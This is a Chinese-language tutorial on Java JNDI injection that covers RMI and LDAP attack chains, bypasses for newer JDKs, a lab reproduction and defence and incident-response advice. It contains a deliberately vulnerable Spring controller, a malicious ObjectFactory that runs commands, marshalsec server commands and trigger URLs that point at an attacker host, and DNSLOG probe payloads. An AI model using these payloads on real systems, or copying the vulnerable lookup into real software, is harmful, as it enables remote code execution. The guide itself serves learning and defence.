1. 项目概述:从一次内部安全审计说起

去年年底,我们团队在对一个遗留的JavaEE系统进行安全审计时,发现了一个典型的配置问题:开发人员在某个管理后台的功能中,为了动态加载外部数据源,直接使用了未经校验的用户输入来构造JNDI查找的URL。这个漏洞本身并不复杂,但在复现和深入理解其攻击链时,我发现很多关于JNDI注入的资料要么过于浅显,只讲“怎么打”,要么过于晦涩,堆砌大量底层源码。对于一线开发和安全人员来说,我们更需要的是从原理到实战的贯通,尤其是面对如今Java高版本默认防御增强的环境,如何理解其绕过思路,而不仅仅是照搬过时的Payload。

JNDI注入,这个在Java安全领域“经久不衰”的话题,其核心在于Java命名与目录接口的滥用。简单来说,JNDI就像一个“服务电话簿”,应用程序可以通过它按名字查找各种资源,比如数据库连接池、消息队列工厂,或者RMI远程对象。问题就出在,如果这个“名字”可以被攻击者控制,他就可以诱导你的程序去拨打一个恶意“电话”(如攻击者搭建的恶意RMI或LDAP服务),从而下载并执行恶意代码。从早期的 com.sun.jndi.rmi.object.trustURLCodebase 等属性被默认设置为false,到后续的层层加码,攻防的博弈一直在持续。本文将从一个实践者的角度,拆解JNDI注入从原理到利用,再到高版本环境下的有限绕过场景,希望能为你构建更立体的防御视角。

2. JNDI注入核心原理与攻击链拆解

要防御JNDI注入,首先必须彻底理解它的攻击链条是如何一环扣一环建立起来的。很多文章一上来就讲 InitialContext.lookup(attackerControlledString) ,但这只是故事的开始,远非全部。

2.1 JNDI 基础架构与脆弱点分析

JNDI本身是一个设计良好的抽象层,它定义了 Context 接口作为核心,其下有 InitialContext 作为入口。它的脆弱性并非来源于设计缺陷,而是源于“信任边界”的模糊。在典型的JavaEE应用中,JNDI常用于解耦,例如通过 java:comp/env 查找容器管理的资源。但当开发人员将来自用户输入、HTTP参数、反序列化数据等不可信源的数据,直接拼接进JNDI查找的名字(Name)或环境属性(如 Context.PROVIDER_URL )时,漏洞就产生了。

关键点在于,JNDI支持多种服务提供商接口(SPI),如RMI、LDAP、CORBA、DNS等。当 lookup 方法被调用时,JNDI会根据传入的URL协议头(如 rmi:// ldap:// iiop:// )来动态加载并委托给对应的SPI实现去处理。 攻击者的核心目标,就是控制这个URL,指向一个由他搭建的恶意服务

2.2 RMI攻击向量深度解析

RMI是Java原生的远程方法调用协议,也是早期JNDI注入最经典的载体。其攻击链通常如下:

  1. 攻击者搭建恶意RMI Registry :攻击者启动一个RMI注册表,并绑定一个精心构造的 Reference 对象。这个 Reference 对象并不直接包含可执行代码,而是包含一个“引用”,指向另一个地址(通常是HTTP服务器)上的工厂类。

    // 恶意RMI服务器示例代码片段
    Reference ref = new Reference(“Exploit”, “ExploitFactory”, “http://attacker.com:8000/”);
    ReferenceWrapper refWrapper = new ReferenceWrapper(ref);
    registry.bind(“evil”, refWrapper);
    

    这里的 Exploit 是类名, ExploitFactory 是工厂类名,最后一个参数是代码库地址。

  2. 受害者应用触发恶意查找 :存在漏洞的应用执行了类似 ctx.lookup(“rmi://attacker-ip:1099/evil”) 的代码。

  3. 客户端自动加载远程类 :受害者的JNDI-RMI客户端在解析 Reference 时,如果安全属性允许(即 com.sun.jndi.rmi.object.trustURLCodebase=true ),它会尝试从指定的 http://attacker.com:8000/ 地址去加载 ExploitFactory 类。

  4. 静态代码块或构造函数执行 :加载的工厂类在其静态代码块或构造函数中,可以执行任意代码,从而完成命令执行、内存马注入等攻击。

注意 :从Java 8u121、7u131、6u141开始, com.sun.jndi.rmi.object.trustURLCodebase 的默认值已改为 false ,这意味着默认情况下,JNDI over RMI无法再从远程Codebase加载类,极大地限制了其利用。但这并非RMI攻击的终结。

2.3 LDAP攻击向量及其优势

当RMI的远程加载被默认禁止后,攻击者的目光迅速转向了LDAP。LDAP攻击链在某些方面比RMI更具优势:

  1. 协议支持更广泛 :LDAP协议本身支持多种属性,其中 javaCodeBase objectClass javaFactory 等属性可以被恶意利用。攻击者可以搭建一个恶意的LDAP服务器(例如使用开源工具 marshalsec 快速启动),并配置其返回的条目中包含指向远程Java类的引用。

  2. 绕过初步限制 :在早期的高版本Java中,对RMI的限制比对LDAP的限制更为严格和知名。有一段时间,LDAP的 trustURLCodebase 限制可能未被同步或存在时间差,使其成为更可靠的利用途径。

  3. 利用反序列化 :LDAP攻击链中一个更强大的分支是触发本地类路径中的反序列化利用链。恶意LDAP服务器可以返回一个 SerializedData 属性,其中包含一个序列化后的Gadget链对象。如果受害应用的ClassPath中存在可利用的反序列化链(如commons-collections, groovy等),那么在解析LDAP响应时,就可能触发反序列化,从而执行代码。 这种方式完全不依赖远程类加载 ,危害极大。

其攻击流程可以概括为:漏洞触发 -> JNDI查找 ldap://attacker.com:1389/ou=evil,dc=example,dc=com -> 恶意LDAP服务器返回带有 javaSerializedData 的条目 -> 客户端反序列化该数据 -> 触发Gadget链RCE。

3. 高版本Java的防御机制与绕过场景分析

从Java 8u191、7u201、6u211以及后续的版本开始,Oracle引入了更全面的JNDI注入防护,理解这些防御是探讨“绕过”的前提。

3.1 官方加固措施一览

  1. com.sun.jndi.rmi.object.trustURLCodebase 默认false :如前所述,这是针对RMI远程加载的第一道闸门。
  2. com.sun.jndi.ldap.object.trustURLCodebase 默认false :将同样的限制扩展到LDAP协议,关闭了通过LDAP远程加载类的主要通道。
  3. LDAP反序列化限制 :引入了 com.sun.jndi.ldap.object.trustSerializedData 属性,默认也为 false 。这旨在阻止通过 javaSerializedData 属性进行的反序列化攻击。
  4. JNDI DNS查询限制 :对DNS查询也做了相应限制。

这些措施使得“开箱即用”的JNDI攻击变得非常困难。在默认配置下,直接使用旧版Payload会失败。

3.2 有限环境下的绕过思路

所谓“绕过”,并非指存在一个通用的、无视版本的漏洞,而是指在特定条件满足时,攻击链仍然可能成立。安全人员需要关注这些条件,而不是一个“万能Payload”。

  1. 依赖本地ClassPath中的可利用类(最主流) :这是当前最实际的“绕过”思路。如果攻击者能够控制JNDI查找的地址,并且目标应用的ClassPath中存在包含危险方法的类,攻击者可以尝试通过JNDI Reference指向这些 本地已有 的类。

    • 利用Tomcat的 javax.el.ELProcessor :这是一个经典的例子。如果目标环境是Tomcat 8+,且ClassPath中有EL相关jar包,可以构造Reference,工厂类名为 javax.el.ELProcessor ,然后通过 Reference addStringRefAddr 方法设置参数,最终在实例化时触发EL表达式执行。这完全在本地完成,不违反任何 trustURLCodebase 规则。
    • 寻找其他本地工厂类 :安全研究人员不断发掘其他存在于常见JavaEE容器或库中的、可用于实例化并执行代码的类。
  2. 攻击客户端自定义的JNDI工厂 :如果应用程序自身为了集成某些服务,配置了自定义的 ObjectFactory ,并且该工厂类的逻辑存在缺陷(如不安全的反射、直接执行命令),那么通过JNDI指向这个工厂也可能触发问题。但这属于业务逻辑漏洞范畴。

  3. 极低概率的配置错误 :在某些情况下,运维人员或开发者为解决某些兼容性问题,可能会手动将上述 trustURLCodebase trustSerializedData 属性设置为 true 。这相当于主动打开了大门。在安全评估中,检查JVM启动参数和代码中的相关设置是必须的步骤。

实操心得 :在渗透测试或红队评估中,面对高版本Java,首先应该使用 java -version 确认具体版本。然后,优先尝试利用本地ClassPath Gadget的Payload(如基于Tomcat EL的)。同时,可以尝试触发DNS查询(如 dns://attacker.com )来验证漏洞点的存在性,虽然这不能直接执行命令,但可以作为“漏洞存在”的证明。绝对不要一上来就用老版本的RMI/LDAP Payload,那几乎肯定会失败。

4. 从零搭建漏洞复现与深度分析环境

“纸上得来终觉浅”,要真正吃透JNDI注入,亲手搭建环境复现是必不可少的一环。这里我将引导你搭建一个涵盖RMI、LDAP两种攻击向量的测试环境。

4.1 环境准备与工具选型

  • 受害应用(Vulnerable App) :我们需要一个简单的、存在JNDI注入漏洞的Web应用。你可以使用Spring Boot快速搭建一个。

    @RestController
    public class VulnController {
        @RequestMapping(“/jndi”)
        public String jndiInjection(@RequestParam(“url”) String url) {
            try {
                Context ctx = new InitialContext();
                // 这里存在漏洞:用户输入直接传入lookup
                Object obj = ctx.lookup(url);
                return “Lookup successful: “ + obj.toString();
            } catch (Exception e) {
                return “Error: “ + e.getMessage();
            }
        }
    }
    

    使用JDK 8u121以下的版本(例如8u102)来模拟未打补丁的环境。

  • 攻击服务器(Attacker Server) :需要一台独立机器或虚拟机,用于托管恶意RMI Registry、LDAP Server和HTTP文件服务器。推荐使用 marshalsec 工具,它集成了这些恶意服务的启动功能,非常方便。

    • 下载并编译 marshalsec git clone https://github.com/mbechler/marshalsec.git ,然后使用Maven编译。
  • 恶意类(Malicious Class) :准备一个简单的Java类,用于被远程加载或作为Reference的工厂类。

    // ExploitFactory.java
    public class ExploitFactory implements ObjectFactory {
        @Override
        public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
            // 这里执行恶意代码,例如弹出计算器(用于演示)
            Runtime.getRuntime().exec(“open /System/Applications/Calculator.app”); // Mac
            // Runtime.getRuntime().exec(“calc.exe”); // Windows
            // Runtime.getRuntime().exec(new String[]{“/bin/bash”, “-c”, “touch /tmp/pwned”}); // Linux
            return “Exploited!”;
        }
        static {
            // 静态代码块也会在类加载时执行
            try {
                Runtime.getRuntime().exec(“touch /tmp/static_block”);
            } catch (Exception e) {}
        }
    }
    

    将其编译成 ExploitFactory.class

4.2 RMI攻击链复现实操

  1. 启动恶意HTTP服务器 :在攻击机上,将 ExploitFactory.class 放在一个目录下,并使用Python快速启动一个HTTP服务器,端口设为8888。

    python3 -m http.server 8888
    
  2. 启动恶意RMI Registry :使用 marshalsec 启动一个RMI服务,绑定我们构造的Reference。

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://attacker-ip:8888/#ExploitFactory” 1099
    

    这条命令会在1099端口启动RMI注册表,并绑定一个名为 ExploitFactory 的引用,其Codebase指向我们的HTTP服务器。

  3. 触发漏洞 :访问受害应用的漏洞端点,传入RMI URL。

    http://vulnerable-app.com/jndi?url=rmi://attacker-ip:1099/ExploitFactory
    
  4. 观察结果 :在JDK 8u102环境下,受害应用会向 http://attacker-ip:8888 请求 ExploitFactory.class ,加载并实例化,从而执行预设的命令(如弹出计算器)。同时,查看攻击机的HTTP服务器日志,可以看到有 GET /ExploitFactory.class 的请求记录。

4.3 LDAP攻击链复现实操

  1. 启动恶意LDAP服务器 :同样使用 marshalsec

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer “http://attacker-ip:8888/#ExploitFactory” 1389
    

    这条命令在1389端口启动LDAP服务。

  2. 触发漏洞 :访问受害应用,传入LDAP URL。

    http://vulnerable-app.com/jndi?url=ldap://attacker-ip:1389/ExploitFactory
    
  3. 结果对比 :在低版本JDK下,效果与RMI类似。你可以尝试将受害应用的JDK切换到8u191,再次触发,会发现攻击失败,因为远程类加载被禁止了。此时,可以尝试切换到利用本地ClassPath的LDAP反序列化攻击(需要准备相应的Gadget链),这涉及更复杂的构造,可以使用 ysoserial 等工具生成Payload,并通过 marshalsec 的LDAP服务返回序列化数据。

注意事项 :整个复现过程务必在隔离的虚拟机或实验网络中进行,切勿在生产环境或任何有真实数据的网络中尝试。恶意类的命令执行部分,建议使用无害的命令如 touch /tmp/test 、创建文件或发送DNS请求来验证,避免对实验环境造成意外破坏。

5. 防御策略与安全编码实践

理解了攻击原理,防御的思路就清晰了。防御JNDI注入是一个多层次的工作,需要从开发、配置、运维多个层面入手。

5.1 代码层:输入校验与安全API使用

这是最根本的防御,也是最容易被忽视的。

  1. 严格禁止用户输入传入JNDI接口 :这是铁律。任何来自外部(HTTP请求、RPC参数、文件、数据库字段)的数据,在传入 InitialContext lookup Context.PROVIDER_URL 等之前,必须进行严格的白名单校验。例如,如果业务上只需要查找固定的几个本地JNDI资源名,那么只允许输入“java:comp/env/jdbc/MyDB”这样的固定模式,拒绝任何包含 :// 协议头的输入。

    // 错误示例
    String serviceName = request.getParameter(“service”);
    ctx.lookup(serviceName);
    
    // 改进示例(白名单校验)
    String serviceName = request.getParameter(“service”);
    List<String> allowedServices = Arrays.asList(“java:comp/env/jdbc/DB1”, “java:comp/env/jms/Queue1”);
    if (!allowedServices.contains(serviceName)) {
        throw new IllegalArgumentException(“Invalid service name”);
    }
    ctx.lookup(serviceName);
    
  2. 使用安全的替代方案 :如果业务场景是动态加载资源,考虑使用其他更安全的方式。例如,使用配置中心、环境变量,或者维护一个内部的资源映射表,通过一个安全的“代号”来查找真正的JNDI名称,而这个映射关系由攻击者无法修改。

5.2 环境层:JVM与容器安全加固

  1. 保持JDK版本最新 :及时升级JDK到最新版本,确保 trustURLCodebase 等属性默认处于最严格的限制状态。这是最有效、最省力的防护措施之一。
  2. 显式设置安全属性 :即使在高版本,也可以在应用启动时,通过JVM参数显式地关闭相关功能,杜绝任何因配置错误导致的风险。
    -Dcom.sun.jndi.rmi.object.trustURLCodebase=false
    -Dcom.sun.jndi.ldap.object.trustURLCodebase=false
    -Dcom.sun.jndi.ldap.object.trustSerializedData=false
    
  3. 限制网络出站连接 :在容器或主机层面,使用防火墙或安全组策略,严格限制应用程序服务器的出站网络连接。只允许访问必要的内部服务(如真正的数据库、LDAP服务器)。这样,即使存在漏洞,攻击者也无法诱导应用连接到外部的恶意RMI/LDAP服务器。
  4. 使用Security Manager :虽然复杂且可能影响性能,但在对安全性要求极高的场景下,配置Java Security Manager并定义严格的安全策略,可以细粒度地控制代码的行为,包括禁止建立网络连接、禁止执行命令等,从根本上切断攻击链。

5.3 架构与运维层:纵深防御

  1. 最小权限原则 :运行Java应用的操作系统用户、容器用户应遵循最小权限原则,避免使用root或高权限账户。这样即使被攻破,能造成的破坏也有限。
  2. 依赖库安全管理 :定期使用SCA工具扫描项目依赖,避免引入包含已知危险Gadget链的库(如老版本的commons-collections)。如果必须使用,确保版本已修复相关漏洞。
  3. WAF/RASP防护 :在应用前端部署Web应用防火墙,可以拦截包含 rmi:// ldap:// iiop:// 等特征的恶意请求。在应用内部部署运行时应用自我保护,可以在JNDI调用等关键危险函数执行时进行实时监控和阻断,提供更深层的防护。

6. 排查技巧与应急响应实录

在安全运营中,我们不仅要知道如何防御,还要知道如何发现和响应。假设你怀疑一个系统可能存在JNDI注入漏洞,或者已经发生了安全事件,应该如何操作?

6.1 漏洞排查与验证

  1. 代码审计 :这是最直接的方法。全局搜索代码库中的 InitialContext lookup Context.PROVIDER_URL 等关键字。重点审查这些方法的参数来源,是否直接或间接来源于用户输入。特别注意那些经过简单拼接(如 “rmi://” + userInput + “/object” )的代码路径。
  2. 黑盒测试 :在授权的前提下进行渗透测试。可以尝试在参数中插入无害的JNDI URL,观察应用响应。
    • DNSLOG探测 :这是最安全、最常用的方式。使用 dnslog.cn ceye.io 等服务,生成一个子域名,然后构造Payload: ${jndi:ldap://your-subdomain.dnslog.cn/xxx} 。如果应用存在漏洞并执行了JNDI查找,你的DNSLOG平台上就会收到解析记录,从而确认漏洞存在。这种方法不会执行任何命令,风险极低。
    • 延迟测试 :如果无法出网,可以尝试使用指向一个不存在或响应很慢的地址的Payload,观察应用请求是否出现明显延迟,作为旁证。
  3. 日志分析 :检查应用日志和容器日志,搜索 JNDI NamingException CommunicationException 等异常信息。攻击尝试可能会在日志中留下痕迹。

6.2 入侵事件应急响应

如果通过监控或日志发现已经存在成功的JNDI注入攻击迹象(例如,服务器上出现了异常进程、陌生文件,或者从日志中发现了对外部恶意IP的LDAP/RMI连接记录),应立即启动应急响应。

  1. 隔离与止损
    • 网络隔离 :立即将受影响的主机从生产网络中断开,防止攻击者维持访问或横向移动。
    • 应用下线 :停止相关的Java应用进程。
  2. 证据保全
    • 内存转储 :在停止应用前,如果条件允许,使用 jmap jcmd 工具对Java进程进行内存转储,以便后续分析内存马。
    • 磁盘快照 :对系统磁盘进行快照,保存现场。
    • 保存日志 :备份所有应用日志、系统日志、网络流量记录。
  3. 漏洞定位与修复
    • 根据日志中的攻击Payload(如完整的JNDI URL),反向追踪到代码中的漏洞点。
    • 按照前述的防御策略,立即修复代码。如果是第三方组件漏洞,寻找安全补丁或升级版本。
  4. 后门排查与清除
    • 文件系统排查 :查找攻击发生时间点前后创建或修改的异常文件,特别是Web目录下的JSP、Servlet类文件,以及 /tmp /dev/shm 等临时目录。
    • 进程与网络连接排查 :检查是否有未知的Java进程或网络连接。
    • 内存马排查 :这是Java Web应用被攻破后的难点。攻击者可能通过注入Filter、Servlet、Controller等内存马实现持久化。需要分析内存转储,或使用专门的内存马检测工具(如 java-memshell-scanner )对运行中的容器进行检测。排查后,需要清理内存马并重启应用。
  5. 恢复与复盘
    • 在确认系统已被彻底清理、漏洞已被修复后,将修复后的应用部署到干净的环境中。
    • 对整个事件进行复盘,分析漏洞引入的原因、检测的盲点、响应流程的不足,并更新安全开发规范、监控策略和应急预案。

JNDI注入的攻防演进史,是软件安全领域一个非常经典的案例。它告诉我们,没有绝对的安全,只有持续的攻防对抗。作为开发者,理解漏洞原理是写出安全代码的基础;作为安全人员,掌握攻击链的每一个环节,才能设计出有效的防御和检测方案。面对高版本Java的默认防护,攻击者的重心已经转向利用本地ClassPath和逻辑缺陷,这意味着我们的防御视野也需要从“堵住远程加载”扩大到“净化运行环境”和“严格输入控制”。安全是一个整体,任何一环的疏忽都可能导致防线失守。

更多推荐